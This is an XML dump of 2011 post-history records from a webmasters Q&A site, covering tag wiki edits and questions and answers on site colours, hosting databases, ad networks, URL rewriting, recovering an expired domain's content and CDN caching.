  <row Id="32655" PostHistoryTypeId="5" PostId="13982" RevisionGUID="6c196a0b-ce72-4222-ac31-9ca50c9ee2db" CreationDate="2011-05-18T17:34:52.723" UserId="6901" Comment="added 51 characters in body" Text="Interface elements that allow a user to input data." />
  <row Id="32656" PostHistoryTypeId="24" PostId="13982" RevisionGUID="6c196a0b-ce72-4222-ac31-9ca50c9ee2db" CreationDate="2011-05-18T17:34:52.723" Comment="Proposed by 6901 approved by 1253 edit id of 302" />
  <row Id="32657" PostHistoryTypeId="5" PostId="13983" RevisionGUID="9e58ce9b-2b62-4d9b-9511-f56edcda6500" CreationDate="2011-05-18T17:34:57.157" UserId="6901" Comment="added 51 characters in body" Text="Interface elements that allow a user to input data." />
  <row Id="32658" PostHistoryTypeId="24" PostId="13983" RevisionGUID="9e58ce9b-2b62-4d9b-9511-f56edcda6500" CreationDate="2011-05-18T17:34:57.157" Comment="Proposed by 6901 approved by 1253 edit id of 303" />
  <row Id="32659" PostHistoryTypeId="5" PostId="13974" RevisionGUID="76077d19-4dcd-4a70-847f-c80fa6dd83a5" CreationDate="2011-05-18T17:35:02.040" UserId="6901" Comment="added 215 characters in body" Text="An internet website where users can hold conversations. The conversations are archived it least semi-permanently, and usually take form in that of posted messages that are grouped around a subject (much like email)." />
  <row Id="32660" PostHistoryTypeId="24" PostId="13974" RevisionGUID="76077d19-4dcd-4a70-847f-c80fa6dd83a5" CreationDate="2011-05-18T17:35:02.040" Comment="Proposed by 6901 approved by 1253 edit id of 299" />
  <row Id="32661" PostHistoryTypeId="5" PostId="13975" RevisionGUID="c576a195-925c-46c4-bff8-f6323a73eff0" CreationDate="2011-05-18T17:35:06.297" UserId="6901" Comment="added 55 characters in body" Text="An internet website where users can hold conversations." />
  <row Id="32662" PostHistoryTypeId="24" PostId="13975" RevisionGUID="c576a195-925c-46c4-bff8-f6323a73eff0" CreationDate="2011-05-18T17:35:06.297" Comment="Proposed by 6901 approved by 1253 edit id of 300" />
  <row Id="32663" PostHistoryTypeId="5" PostId="13969" RevisionGUID="5f162392-c6e4-446c-92ea-095810f08d0f" CreationDate="2011-05-18T17:35:07.157" UserId="6901" Comment="added 98 characters in body" Text="An ad system owned and run by Google. Go to https://www.google.com/adsense/ to add it do your site" />
  <row Id="32664" PostHistoryTypeId="24" PostId="13969" RevisionGUID="5f162392-c6e4-446c-92ea-095810f08d0f" CreationDate="2011-05-18T17:35:07.157" Comment="Proposed by 6901 approved by 1253 edit id of 295" />
  <row Id="32665" PostHistoryTypeId="5" PostId="13970" RevisionGUID="d17a9f41-3757-4c7e-982e-2d6c926992ab" CreationDate="2011-05-18T17:35:09.650" UserId="6901" Comment="added 38 characters in body" Text="An add system owned and run by Google." />
  <row Id="32666" PostHistoryTypeId="24" PostId="13970" RevisionGUID="d17a9f41-3757-4c7e-982e-2d6c926992ab" CreationDate="2011-05-18T17:35:09.650" Comment="Proposed by 6901 approved by 1253 edit id of 296" />
  <row Id="32667" PostHistoryTypeId="25" PostId="14031" RevisionGUID="1166f45f-5a7e-4cdd-88da-bc9287bffc7b" CreationDate="2011-05-18T18:12:20.320" Comment="http://twitter.com/#!/StackWebmasters/status/70914630087737344" />
  <row Id="32668" PostHistoryTypeId="2" PostId="14034" RevisionGUID="41532e37-cb58-4aeb-9467-5e318dcdcdfe" CreationDate="2011-05-18T18:18:18.947" UserId="6231" Text="Could you advise me some techniques and tools that you use to tune up colors in a web site?&#xD;&#xA;The website has background and there are some images with logos. If I change the background I need to change other things too but it's difficult to change the image of logo (I'd like to change only some colors in logo, e.g. to change white color in that image to slightly yellow color etc.). Are there some tools for this problems? I can use Gimp on my Linux machine, if it's able to do this. Are there tools that help with colors that are suitable to live together for individual part of the web (header, background, footer, sidebars, color of links). The web should be cheery. I don't have experience with playing with colors for web design yet&#xD;&#xA;&#xD;&#xA;thank you for help" />
  <row Id="32669" PostHistoryTypeId="1" PostId="14034" RevisionGUID="41532e37-cb58-4aeb-9467-5e318dcdcdfe" CreationDate="2011-05-18T18:18:18.947" UserId="6231" Text="How to tune up colors in web page" />
  <row Id="32670" PostHistoryTypeId="3" PostId="14034" RevisionGUID="41532e37-cb58-4aeb-9467-5e318dcdcdfe" CreationDate="2011-05-18T18:18:18.947" UserId="6231" Text="&lt;css&gt;&lt;tools&gt;&lt;graphics&gt;&lt;web-design&gt;" />
  <row Id="32674" PostHistoryTypeId="2" PostId="14036" RevisionGUID="9e917de1-a92a-484b-8bf1-3847116b55cc" CreationDate="2011-05-18T18:42:04.907" UserId="7625" Text="This is a very particular question, but I'm working on establishing a criteria at my company for when we bring new web clients aboard. Our sales team is looking for an effective way to determine whether or not we can install certain software on a client's web server before we sell the client on that service.&#xD;&#xA;&#xD;&#xA;We help optimize a lot of our client's sites by installing blogs and CMSes to their existing site, but in order to install these blogs we need to be able to create MySQL databases through the client's hosting backend.&#xD;&#xA;&#xD;&#xA;Of course many big name hosts like GoDaddy and Dreamhost give the user complete access to tools like phpMyAdmin that allow me to create a Wordpress database, for example, so that I can get Wordpress working on their site. &#xD;&#xA;&#xD;&#xA;Many of our clients however are Ecommerce sites and get their hosting through more locked-down companies that don't offer the ability to utilize SQL databases or other features necessary to complete some of these tasks for clients.&#xD;&#xA;&#xD;&#xA;It's an odd question, but is there a simple way to determine if a certain web server or hosting company has the ability to use SQL databases with their customers? Finding out the name of the hosting company and then checking if the company offers SQL databases would be one way to do it, but I want to know if there is another solution or web tool or chart on the internet that could help us determine this information." />
  <row Id="32675" PostHistoryTypeId="1" PostId="14036" RevisionGUID="9e917de1-a92a-484b-8bf1-3847116b55cc" CreationDate="2011-05-18T18:42:04.907" UserId="7625" Text="Easy way to determine if a client's web host supports/allows creating SQL databases?" />
  <row Id="32676" PostHistoryTypeId="3" PostId="14036" RevisionGUID="9e917de1-a92a-484b-8bf1-3847116b55cc" CreationDate="2011-05-18T18:42:04.907" UserId="7625" Text="&lt;web-hosting&gt;&lt;database&gt;&lt;tools&gt;&lt;sql&gt;" />
  <row Id="32677" PostHistoryTypeId="2" PostId="14037" RevisionGUID="e6d05cd8-a03d-4a21-92f2-32c43a91bea6" CreationDate="2011-05-18T18:58:06.280" UserId="7626" Text="Why not consider an hosted solution? There are pretty good solutions out there!&#xD;&#xA;&#xD;&#xA;I have used Booking Baboon: http://bookingbaboon.com for one of my client and it worked like a charm!&#xD;&#xA;&#xD;&#xA;Check it out!" />
  <row Id="32678" PostHistoryTypeId="2" PostId="14038" RevisionGUID="97cb13cd-fbf4-46af-9eca-5a8375a78100" CreationDate="2011-05-18T19:08:40.237" UserId="7627" Text="I like using [visibone][1]. It's been a while since I used it, but they used to have an online service where you can compare the color contrast between colors that you choose on their web app. Nice for seeing the horrible contrasts that I usually thought would be good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.visibone.com/" />
  <row Id="32679" PostHistoryTypeId="2" PostId="14039" RevisionGUID="f7295a0b-16bb-46c6-a73c-82e7f3d6a72c" CreationDate="2011-05-18T19:12:48.953" UserId="7627" Text="I'd just have them send you the result of issuing this command on their database server:&#xD;&#xA;&#xD;&#xA;    create database temp;" />
  <row Id="32680" PostHistoryTypeId="5" PostId="14037" RevisionGUID="aad2a3ff-6427-4a86-a5e4-3e542c72c593" CreationDate="2011-05-18T19:15:38.830" UserId="1253" Comment="deleted 15 characters in body" Text="Why not consider an hosted solution? There are pretty good solutions out there!&#xD;&#xA;&#xD;&#xA;I have used Booking Baboon: http://bookingbaboon.com for one of my client and it worked like a charm!&#xD;&#xA;" />
  <row Id="32682" PostHistoryTypeId="2" PostId="14040" RevisionGUID="ddbd04ba-1b72-4324-ac2a-df0d678546d2" CreationDate="2011-05-18T19:42:35.667" UserId="4657" Text="I was wondering if there is any hosted or commercial contextual ad script available? I checked Google Ad Manager but they don't provide this service." />
  <row Id="32683" PostHistoryTypeId="1" PostId="14040" RevisionGUID="ddbd04ba-1b72-4324-ac2a-df0d678546d2" CreationDate="2011-05-18T19:42:35.667" UserId="4657" Text="Contexual Ad System" />
  <row Id="32684" PostHistoryTypeId="3" PostId="14040" RevisionGUID="ddbd04ba-1b72-4324-ac2a-df0d678546d2" CreationDate="2011-05-18T19:42:35.667" UserId="4657" Text="&lt;advertising&gt;&lt;content&gt;" />
  <row Id="32685" PostHistoryTypeId="2" PostId="14041" RevisionGUID="0de24439-ea0b-4cec-a563-691b7d40b15a" CreationDate="2011-05-18T19:46:58.417" UserId="7628" Text="Is there a way to do previews for audio files in Magento? I see the place to put the &quot;sample&quot; files under &quot;Downloadable information&quot; section on my product. I attached an .MP3 as the sample, in this case, and it won't play. If alternatively, I try to download the file locally and then play it, instead of the 400K+ file, I just get a 4K file of garbled nothing, and it doesn't seem to work." />
  <row Id="32686" PostHistoryTypeId="1" PostId="14041" RevisionGUID="0de24439-ea0b-4cec-a563-691b7d40b15a" CreationDate="2011-05-18T19:46:58.417" UserId="7628" Text="Previews for audio e-commerce site" />
  <row Id="32687" PostHistoryTypeId="3" PostId="14041" RevisionGUID="0de24439-ea0b-4cec-a563-691b7d40b15a" CreationDate="2011-05-18T19:46:58.417" UserId="7628" Text="&lt;magento&gt;&lt;audio&gt;" />
  <row Id="32688" PostHistoryTypeId="6" PostId="14040" RevisionGUID="05832c2b-1d5b-44ab-a58e-60a1c1c3ceae" CreationDate="2011-05-18T19:50:03.153" UserId="1253" Comment="modified tags" Text="&lt;advertising&gt;&lt;looking-for-a-script&gt;&lt;hosted-service&gt;" />
  <row Id="32689" PostHistoryTypeId="2" PostId="14042" RevisionGUID="90500a54-80b4-4224-9fc2-56089c3ac2f0" CreationDate="2011-05-18T20:43:10.457" UserId="513" Text="I've looked a few times at placing ads on my site, but the only ad system I've liked is [Project Wonderful](http://www.projectwonderful.com). The problem with it is that almost every existing publisher(and thus, probably advertiser) is web comics. My website isn't related to web comics. &#xD;&#xA;&#xD;&#xA;So, is there a reason that it's used almost exclusively by web comics, or was that just what's happened so far? Or what?" />
  <row Id="32690" PostHistoryTypeId="1" PostId="14042" RevisionGUID="90500a54-80b4-4224-9fc2-56089c3ac2f0" CreationDate="2011-05-18T20:43:10.457" UserId="513" Text="Why is Project Wonderful mostly only used for web comics?" />
  <row Id="32691" PostHistoryTypeId="3" PostId="14042" RevisionGUID="90500a54-80b4-4224-9fc2-56089c3ac2f0" CreationDate="2011-05-18T20:43:10.457" UserId="513" Text="&lt;advertising&gt;" />
  <row Id="32692" PostHistoryTypeId="2" PostId="14043" RevisionGUID="7356727b-a89a-4002-a25e-bd496f504e9e" CreationDate="2011-05-18T20:54:17.373" UserId="7630" Text="Have you tried Adobe Kuler? ( http://kuler.adobe.com )&#xD;&#xA;&#xD;&#xA;A nice site for generating colour schemes :)" />
  <row Id="32693" PostHistoryTypeId="2" PostId="14044" RevisionGUID="a7f30b56-7454-449e-a59d-6f4bed2747cd" CreationDate="2011-05-18T21:01:24.950" UserId="4502" Text="Well, Project Wonderful's &lt;a href=&quot;https://www.projectwonderful.com/about.php&quot;&gt;CEO Ryan North&lt;/a&gt; is a comics creator himself, and it probably started out as a tool for himself and other comic sites. For a definitive answer, you'll have to ask him.&#xD;&#xA;&#xD;&#xA;On the other hand, running a &lt;a href=&quot;https://www.projectwonderful.com/adsearch.php&quot;&gt;search&lt;/a&gt; for every category *except* the comics ones gave me 4600+ results. (I'd put an actual link in here except that the resulting URL seems to not-quite-valid and gets stripped.) Putting the comics categories back in about doubles that. So yes, a lot, but definitely not &quot;most.&quot; As to whether that 4600-ish is enough for you, you'll have to decide." />
  <row Id="32694" PostHistoryTypeId="6" PostId="12790" RevisionGUID="f297a417-d3bb-4ea7-9c55-1df63582e7da" CreationDate="2011-05-18T21:03:22.747" UserId="7040" Comment="edited tags" Text="&lt;cdn&gt;&lt;uploading&gt;" />
  <row Id="32695" PostHistoryTypeId="25" PostId="14036" RevisionGUID="0e433de1-7f6b-4c5b-b1d2-ac9ac295e2c0" CreationDate="2011-05-18T21:12:20.700" Comment="http://twitter.com/#!/StackWebmasters/status/70959930978476032" />
  <row Id="32696" PostHistoryTypeId="2" PostId="14045" RevisionGUID="86df3c2f-9a67-4e59-b383-9c4101ddfc0c" CreationDate="2011-05-18T22:14:56.003" UserId="7547" Text="&#xD;&#xA;&#xD;&#xA;I have a blog with adsense on it. An advertisement I see a lot from my adsense is a Telus phone banner.&#xD;&#xA;&#xD;&#xA;If people click this Telus banner ad and go to Telus website, will Telus be able to see where these people came from? For example, can they see my blog url on their google-analytic Referrals section (assuming they have one) ??" />
  <row Id="32697" PostHistoryTypeId="1" PostId="14045" RevisionGUID="86df3c2f-9a67-4e59-b383-9c4101ddfc0c" CreationDate="2011-05-18T22:14:56.003" UserId="7547" Text="Can Adwords Advertisers see which Adsense Publishers send them traffic?" />
  <row Id="32698" PostHistoryTypeId="3" PostId="14045" RevisionGUID="86df3c2f-9a67-4e59-b383-9c4101ddfc0c" CreationDate="2011-05-18T22:14:56.003" UserId="7547" Text="&lt;google-analytics&gt;&lt;google-adsense&gt;&lt;analytics&gt;&lt;adwords&gt;" />
  <row Id="32699" PostHistoryTypeId="5" PostId="12525" RevisionGUID="4d1a0fc5-f8a2-4582-964a-e748a3e6229c" CreationDate="2011-05-18T22:32:19.267" UserId="6901" Comment="added 217 characters in body" Text="Drupal is a popular open source PHP-based CMS. There is a Drupal Stack Exchange at http://drupal.stackexchange.com/, so if your question is related to Drupal but not Pro Webmasters, then it should be asked over there." />
  <row Id="32700" PostHistoryTypeId="24" PostId="12525" RevisionGUID="4d1a0fc5-f8a2-4582-964a-e748a3e6229c" CreationDate="2011-05-18T22:32:19.267" Comment="Proposed by 6901 approved by 1253 edit id of 308" />
  <row Id="32701" PostHistoryTypeId="5" PostId="12526" RevisionGUID="795a9168-81f2-4928-8417-478302c1cce1" CreationDate="2011-05-18T22:32:20.530" UserId="6901" Comment="added 171 characters in body" Text="Drupal is a popular open source PHP-based CMS. There is a Drupal Stack Exchange at http://drupal.stackexchange.com/, so if your question is related to Drupal but not Pro Webmasters, then it should be asked over there." />
  <row Id="32702" PostHistoryTypeId="24" PostId="12526" RevisionGUID="795a9168-81f2-4928-8417-478302c1cce1" CreationDate="2011-05-18T22:32:20.530" Comment="Proposed by 6901 approved by 1253 edit id of 309" />
  <row Id="32703" PostHistoryTypeId="5" PostId="12517" RevisionGUID="3d7ed140-02b3-4295-b82a-852973d0837b" CreationDate="2011-05-18T22:32:23.477" UserId="6901" Comment="added 40 characters in body" Text="WordPress is an open source content management system running on PHP and MySQL often used as a blog engine. There is a WordPress StackExchange at http://wordpress.stackexchange.com/: if your question is related to WordPress but not Pro Webmasters, then your should ask it over there." />
  <row Id="32704" PostHistoryTypeId="24" PostId="12517" RevisionGUID="3d7ed140-02b3-4295-b82a-852973d0837b" CreationDate="2011-05-18T22:32:23.477" Comment="Proposed by 6901 approved by 1253 edit id of 307" />
  <row Id="32705" PostHistoryTypeId="5" PostId="12516" RevisionGUID="c4a7184b-7a08-4dc7-beeb-c3216750bba8" CreationDate="2011-05-18T22:32:24.757" UserId="6901" Comment="added 494 characters in body" Text="WordPress is an open source content management system running on PHP and MySQL often used as a blog engine. There is a WordPress StackExchange at http://wordpress.stackexchange.com/: if your question is related to WordPress but not Pro Webmasters, then your should ask it over there.&#xD;&#xA;&#xD;&#xA;WordPress has a very active community and thousands of plugins and themes, the current version (3.1) was released on February 22, 2011. Download it at [wordpress.org][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordpress.org/" />
  <row Id="32706" PostHistoryTypeId="24" PostId="12516" RevisionGUID="c4a7184b-7a08-4dc7-beeb-c3216750bba8" CreationDate="2011-05-18T22:32:24.757" Comment="Proposed by 6901 approved by 1253 edit id of 306" />
  <row Id="32708" PostHistoryTypeId="2" PostId="14047" RevisionGUID="f0abeb01-9c4e-4886-a659-34b895179307" CreationDate="2011-05-18T23:09:15.007" UserId="7635" Text="[www.pagodabox.com][1] is not lamp. They are a pretty sweet app hosting platform. Easy to scale both the database and the application. What you will be most interested in is there database tool.&#xD;&#xA;&#xD;&#xA;go to http://www.pagodabox.com/videos and watch the &quot;Opening a Database Tunnel&quot; video.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pagodabox.com" />
  <row Id="32709" PostHistoryTypeId="25" PostId="14041" RevisionGUID="b861e83f-12cf-4906-b08a-3b8338a2fc28" CreationDate="2011-05-19T00:12:21.113" Comment="http://twitter.com/#!/StackWebmasters/status/71005231101648896" />
  <row Id="32710" PostHistoryTypeId="2" PostId="14048" RevisionGUID="ff203944-05ad-4f45-b945-1a6278c39a7f" CreationDate="2011-05-19T01:36:33.510" UserDisplayName="user81930" Text="Sorry if this has been covered, I can't find anything on this specifically.&#xD;&#xA;&#xD;&#xA;I have wildcard subdomains on (*.mysite.com) I need a mod_rewrite expression for this rewrite:&#xD;&#xA;&#xD;&#xA;bob.mysite.com =&gt; mysite.com/users/index.php?user=bob&#xD;&#xA;&#xD;&#xA;bob.mysite.com/profile/ =&gt; mysite.com/users/index.php?user=bob/profile/&#xD;&#xA;&#xD;&#xA;Obviously &quot;bob&quot; and &quot;profile&quot; are just examples, I need the general case. Thanks for your help!" />
  <row Id="32711" PostHistoryTypeId="1" PostId="14048" RevisionGUID="ff203944-05ad-4f45-b945-1a6278c39a7f" CreationDate="2011-05-19T01:36:33.510" UserDisplayName="user81930" Text="mod_rewrite rule for wildcard subdomains?" />
  <row Id="32712" PostHistoryTypeId="3" PostId="14048" RevisionGUID="ff203944-05ad-4f45-b945-1a6278c39a7f" CreationDate="2011-05-19T01:36:33.510" UserDisplayName="user81930" Text="&lt;mod-rewrite&gt;" />
  <row Id="32713" PostHistoryTypeId="17" PostId="14048" RevisionGUID="c1f8704c-71ba-4ba3-9b9a-b9bf25c7ac03" CreationDate="2011-05-19T01:55:05.230" UserId="-1" Comment="from http://serverfault.com/questions/271289/mod-rewrite-rule-for-wildcard-subdomains" Text="" />
  <row Id="32714" PostHistoryTypeId="5" PostId="4000" RevisionGUID="5c939fe2-6f9d-4074-9c0e-defcb43db52b" CreationDate="2011-05-19T02:21:37.227" UserId="1725" Comment="example.com instead of d.com, as per IETF standards." Text="Google doesnt care, but it may be a waste of your bandwidth.  &#xD;&#xA;The common approach is to use non ssl on pages where data is not entered into forms or form values are processed and ssl on pages where they are.&#xD;&#xA;&#xD;&#xA;Google sees an https:// and http:// request as the same.  But will see the www.example.com and example.com as two seperate sites.&#xD;&#xA;&#xD;&#xA;Most sites just use the https:// on pages where user logs in, gives credit card, edits his/her information etc.  On pages where someone just reads iformation such as home page, or terms, or privacy policy, blog artices and so on its best not to force https.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32715" PostHistoryTypeId="24" PostId="4000" RevisionGUID="5c939fe2-6f9d-4074-9c0e-defcb43db52b" CreationDate="2011-05-19T02:21:37.227" Comment="Proposed by 1725 approved by 1064 edit id of 310" />
  <row Id="32716" PostHistoryTypeId="25" PostId="14048" RevisionGUID="fd147b61-0f64-440e-b9ef-9f6ee89b801f" CreationDate="2011-05-19T03:12:21.167" Comment="http://twitter.com/#!/StackWebmasters/status/71050529769390080" />
  <row Id="32717" PostHistoryTypeId="2" PostId="14049" RevisionGUID="ff6b5f52-1e6d-45a7-81ad-fc232d03eae8" CreationDate="2011-05-19T03:50:42.397" UserId="963" Text="You can also get an EV SSL cert from [GoDaddy][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/ssl/ssl-certificates.aspx" />
  <row Id="32718" PostHistoryTypeId="17" PostId="14051" RevisionGUID="dc864ddb-2125-4c1a-8e29-4c84a3484b37" CreationDate="2011-05-19T04:12:38.150" UserId="-1" Comment="from http://superuser.com/questions/285406/domain-expired-possible-to-find-content-that-was-on-websites/285408#285408" Text="" />
  <row Id="32719" PostHistoryTypeId="17" PostId="14052" RevisionGUID="4c35dad3-6c44-4043-a851-f0f6d0e4a453" CreationDate="2011-05-19T04:12:38.150" UserId="-1" Comment="from http://superuser.com/questions/285406/domain-expired-possible-to-find-content-that-was-on-websites/285411#285411" Text="" />
  <row Id="32720" PostHistoryTypeId="17" PostId="14053" RevisionGUID="d8786083-5319-444f-9d32-14409369b9f5" CreationDate="2011-05-19T04:12:38.150" UserId="-1" Comment="from http://superuser.com/questions/285406/domain-expired-possible-to-find-content-that-was-on-websites/285415#285415" Text="" />
  <row Id="32721" PostHistoryTypeId="2" PostId="14051" RevisionGUID="19663c7a-237e-4fa8-b678-5a6270e82051" CreationDate="2011-05-18T18:55:18.367" UserDisplayName="Xavierjazz" Text="Search, search search. I suspect there are programs which will automate this." />
  <row Id="32722" PostHistoryTypeId="2" PostId="14052" RevisionGUID="f54813cb-83ec-438d-9430-250b7bbad9b1" CreationDate="2011-05-18T18:58:51.903" UserId="9673" UserDisplayName="erjiang" Text="Use the Internet Archive's Wayback Machine: http://www.archive.org&#xD;&#xA;Note that they only have content from at least six months ago available.&#xD;&#xA;&#xD;&#xA;Otherwise, you can try using Google's cache by searching for &quot;cache:youroldwebsite.com&quot; or using the &quot;Cached&quot; link on search results." />
  <row Id="32723" PostHistoryTypeId="2" PostId="14053" RevisionGUID="3f9f864a-2620-4cb9-aa23-2c767f8e05c2" CreationDate="2011-05-18T19:14:44.037" UserDisplayName="Spiff" Text="The basic model for this is that a domain name points at an IP address, the server machine at that IP address runs web server software, and your web content is on the hard drive of that server machine.&#xD;&#xA;&#xD;&#xA;Having a domain expire generally means that &quot;www.mydomain.com&quot; no longer points to the same IP address, but it doesn't automatically cause your content to be erased from the hard drive of the web server machine that it was on.&#xD;&#xA;&#xD;&#xA;(Unless, I suppose, you got a package deal with a single company where you could register a domain name and they'd also set up some web server space for you. In that case, they may employ service management software that automatically deletes the contents of old accounts when the domain expires. But you should check with them anyway.)&#xD;&#xA;&#xD;&#xA;If you still know the IP address of the web server you had pointed your domain name at, you may be able to get to your content by putting the IP address instead of the domain name into your URLs. You'll probably do even better to edit your &quot;hosts file&quot; (/etc/hosts on Unix including Mac and Linux, and something like %SystemRoot%\system32\drivers\etc\hosts on Windows) to point your old domain name at your old IP address, because fewer links will break that way.&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;One more thought: On the off chance that your hosting service's DNS server still thinks it's authoritative for your expired domain, you could try using a DNS query tool to specify that you want to ask *that particular DNS server* what the IP address is for your expired domain. If it gives a different answer than other DNS servers give, than that's probably the IP address of the web server where your content may still reside. You could then configure your client machine to use only that company's DNS servers as your DNS servers, and you'd be able to browse your old site. Quickly use some web site downloading/archiving tool to suck down a copy of your entire website (all the static content at least) before the company deletes it." />
  <row Id="32724" PostHistoryTypeId="2" PostId="14050" RevisionGUID="42b87da6-d31f-41ec-84a5-50de913eb0c2" CreationDate="2011-05-18T18:51:20.177" UserDisplayName="Lee Carlton" Text="I had a domain that I let expire, and was subsequently purchased by someone else. I have several links on my website that are now directed towards their new site. I was wondering if it is possible to find a cached version of the website from when I still owned it, and that way I can save the materials from that page. &#xD;&#xA;&#xD;&#xA; " />
  <row Id="32725" PostHistoryTypeId="1" PostId="14050" RevisionGUID="42b87da6-d31f-41ec-84a5-50de913eb0c2" CreationDate="2011-05-18T18:51:20.177" UserDisplayName="Lee Carlton" Text="Domain expired- possible to find content that was on websites?" />
  <row Id="32726" PostHistoryTypeId="3" PostId="14050" RevisionGUID="42b87da6-d31f-41ec-84a5-50de913eb0c2" CreationDate="2011-05-18T18:51:20.177" UserDisplayName="Lee Carlton" Text="&lt;websites&gt;" />
  <row Id="32727" PostHistoryTypeId="17" PostId="14050" RevisionGUID="8397ed7d-6eaf-4eda-a661-58ab430b6df3" CreationDate="2011-05-19T04:12:38.150" UserId="-1" Comment="from http://superuser.com/questions/285406/domain-expired-possible-to-find-content-that-was-on-websites" Text="" />
  <row Id="32728" PostHistoryTypeId="2" PostId="14054" RevisionGUID="203aaafd-c7d2-4f5e-9d82-a90903b2d42f" CreationDate="2011-05-19T04:13:14.197" UserId="7641" Text="I am using a WordPress plugin and it has collapse arrows in the &lt;ul&gt; option.&#xD;&#xA;&#xD;&#xA;However, by default the word press theme has bluestar(*) being used for ul. &#xD;&#xA;&#xD;&#xA;In the page http://everything-evans.com/, on the sidebar, under the title 'In the past', I want to display the collapsing arrows, and the star and yellow dots should disappear.&#xD;&#xA;&#xD;&#xA;Let me know how to achieve this.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="32729" PostHistoryTypeId="1" PostId="14054" RevisionGUID="203aaafd-c7d2-4f5e-9d82-a90903b2d42f" CreationDate="2011-05-19T04:13:14.197" UserId="7641" Text="css issue in wordpress" />
  <row Id="32730" PostHistoryTypeId="3" PostId="14054" RevisionGUID="203aaafd-c7d2-4f5e-9d82-a90903b2d42f" CreationDate="2011-05-19T04:13:14.197" UserId="7641" Text="&lt;css&gt;&lt;wordpress&gt;" />
  <row Id="32731" PostHistoryTypeId="2" PostId="14055" RevisionGUID="44bd2048-9b36-4c0e-a7c7-1e24f613eaa0" CreationDate="2011-05-19T06:04:12.263" UserId="5718" Text="The `HTTP_REFERER` header for AdSense ads used to be from a doubleclick.net domain and the real URL needed to be extracted from it. However, I've just checked and it now shows up as the page where the ad was placed (as it should). &#xD;&#xA;&#xD;&#xA;It's always been possible to see a list of AdSense referrers via a report in the main AdWords interface but some of them just show up in a category of 'other' domains so isn't complete. &#xD;&#xA;&#xD;&#xA;However, your question led me to investigate Google Analytics further and I can see that there is now a report called 'Placements' in the 'Traffic Sources &gt; AdWords' menu that lists all of the referral domains and URL's. &#xD;&#xA;&#xD;&#xA;So the short answer to your question is yes!" />
  <row Id="32732" PostHistoryTypeId="25" PostId="14050" RevisionGUID="1bfc09b0-0ec5-465e-b3bc-04bcc581fe6d" CreationDate="2011-05-19T06:12:21.677" Comment="http://twitter.com/#!/StackWebmasters/status/71095830559461376" />
  <row Id="32733" PostHistoryTypeId="5" PostId="13969" RevisionGUID="5afd9094-098d-4e73-9d7e-64bcd2e17cdc" CreationDate="2011-05-19T06:44:51.890" UserId="1064" Comment="Typographical correction to excerpt, added link to informational content at Google to replace Adsense login/signup link" Text="A variety of advertisement publishing services offered by Google.&#xD;&#xA;&#xD;&#xA;See the [AdSense Publisher Solutions](https://www.google.com/adsense/static/en/Publishertools.html) page for details." />
  <row Id="32734" PostHistoryTypeId="5" PostId="13970" RevisionGUID="8cc5066f-1e9c-4824-861c-588dd1e93913" CreationDate="2011-05-19T06:44:51.920" UserId="1064" Comment="Typographical correction to excerpt, added link to informational content at Google to replace Adsense login/signup link" Text="An advertising system owned and run by Google." />
  <row Id="32735" PostHistoryTypeId="2" PostId="14056" RevisionGUID="4a820498-43b4-4b69-bd98-41dacc041846" CreationDate="2011-05-19T07:00:40.990" UserId="1064" Text="The behavior you've described sounds as though it may be an issue with Magento (in which case you may want to inquire at the [Magento user forum][1] or file a bug report).&#xD;&#xA;&#xD;&#xA;Whether or not Magento supports native MP3 sample streaming, your site's users can play the sample MP3 files in the audio player of their choice (without an [embedded Flash player][2] or reliance on [HTML5][3]) if you create [M3U files][4] which point to the respective URLs of the uploaded samples.&#xD;&#xA;&#xD;&#xA;For example, if you have a sample file named &quot;test.mp3&quot;, you would want to upload that file to a location like `http://example.com/samples/test.mp3` and create an M3U file which references that URL:&#xD;&#xA;&#xD;&#xA;    #EXTM3U&#xD;&#xA;    #EXTINF:-1,http://example.com/samples/test.mp3&#xD;&#xA;    http://example.com/samples/test.mp3&#xD;&#xA;&#xD;&#xA;Users who download the M3U file will be prompted (if they have a compatible audio player installed) to open the M3U file and stream the `http://example.com/samples/test.mp3` sample in their audio player.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/boards&#xD;&#xA;  [2]: http://www.webdesignbooth.com/10-easy-to-implement-flash-based-mp3-players-for-your-website/&#xD;&#xA;  [3]: http://html5doctor.com/native-audio-in-the-browser/&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/M3U" />
  <row Id="32736" PostHistoryTypeId="2" PostId="14057" RevisionGUID="3a3dfe87-e1a1-4e95-bad3-81d1c28e6658" CreationDate="2011-05-19T07:20:20.663" UserId="7642" Text="The browser will retrieve the latest version if the browser cached version has expired. It will not do an HTTP GET request until that happens. This is intended behavior, because you want the speed of not having the delay of testing if there's a newer version. This, and a way around it, has been explained in the questions you refer to.&#xD;&#xA;&#xD;&#xA;Amazon CloudFront will fetch your file and keep it until it expires. That expiration time is 24 hours or the expiration time set in the header when it fetched your file, whichever is shorter. It will not come and fetch another version, it won't even test if there is a newer version. That is also intended behavior, so that the edge server can quickly accomodate the browser without having to wait for your site (or S3) to respond. That's why it's so fast.&#xD;&#xA;&#xD;&#xA;You can work around this by using Object Invalidation. This is a feature of Amazon CloudFront that allows you to explicitly delete the file from the CloudFront edge servers. It takes a couple of minutes to complete, and there's a cost involved if you do it too frequently, but in the case of a script or CSS file that infrequently changes I don't see this as a problem. There's an API for it, and some tools (notably Cyberduck) allow you to do it for files that are stored in S3.&#xD;&#xA;&#xD;&#xA;Combine the two, and I think you have the solution to your problem." />
  <row Id="32737" PostHistoryTypeId="2" PostId="14058" RevisionGUID="7eec9b78-99c5-4eb3-bd09-3e2f21e58a38" CreationDate="2011-05-19T07:27:27.960" UserId="7642" Text="Amazon experienced a major outage, but all things considering that outage was pretty limited compared to the media attention that it got. Far from everyone was affected, and if your business demanded high availability it should have been designed around a single instance failing in a single availability zone.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32738" PostHistoryTypeId="25" PostId="14042" RevisionGUID="31de2b31-c3d5-442d-8100-b9dc5af47d64" CreationDate="2011-05-19T09:12:21.937" Comment="http://twitter.com/#!/StackWebmasters/status/71141128728100864" />
